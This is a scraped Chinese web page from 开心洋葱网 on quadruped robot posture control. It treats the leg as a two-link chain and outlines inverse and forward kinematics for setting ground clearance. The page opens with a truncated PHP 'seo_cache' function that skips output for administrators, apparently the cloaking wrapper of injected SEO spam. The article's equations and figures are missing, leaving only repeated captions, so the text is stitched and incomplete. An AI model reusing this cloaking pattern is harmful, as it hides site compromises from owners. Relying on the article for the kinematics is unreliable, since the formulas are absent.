function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?> 【关于四足机器人那些事】姿态调节-离地高度_人工智能_开心洋葱网
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【关于四足机器人那些事】姿态调节-离地高度

人工智能 我是。 2797次浏览 0个评论 手机上查看

不考虑横向运动时，我们可以把四足机器人的腿部简单看成一个二连杆结构，这节我们就来讲解如何调整离地高度的问题  

一、几何模型

  我们可以把机器人的一条腿简化成以下形状，由两根连杆组成，α 为髋关节角度，β 为膝关节角度。  
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二、几何逆解

  我们假定足端与髋关节原点保持竖直关系，根据几何关系，已知离地高度h ,求θ 1 , θ 2   
【关于四足机器人那些事】姿态调节-离地高度   其中，l 1 , l 2 分别为上下关节长度  

三、几何正解

  已知θ 1 , θ 2 ， 求离地高度h ：  
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【关于四足机器人那些事】姿态调节-离地高度   当我们取不同的离地高度h ，或者θ 1的时候，有以下效果  
【关于四足机器人那些事】姿态调节-离地高度

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